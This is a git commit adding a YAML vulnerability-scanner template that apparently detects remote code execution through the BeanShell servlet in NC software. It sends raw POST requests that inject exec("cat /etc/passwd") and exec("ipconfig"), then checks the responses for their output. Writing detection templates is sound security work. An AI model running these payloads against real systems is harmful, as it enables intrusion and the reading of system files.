Create nc-bsh-servlet-rce.yaml

patch-1
PikPikcU 2021-06-01 08:28:04 +00:00 committed by GitHub
parent 91941dc8ed
commit 39003369f2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: nc-bsh-servlet-rce
info:
name: NC bsh.servlet.BshServlet RCE
author: pikpikcu
severity: high
reference: https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
tags: beanshell,rce
requests:
- raw:
- | #linux
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("cat /etc/passwd");
- | #windows
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
bsh.script=exec("ipconfig");
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- "Windows IP"
- type: status
status:
- 200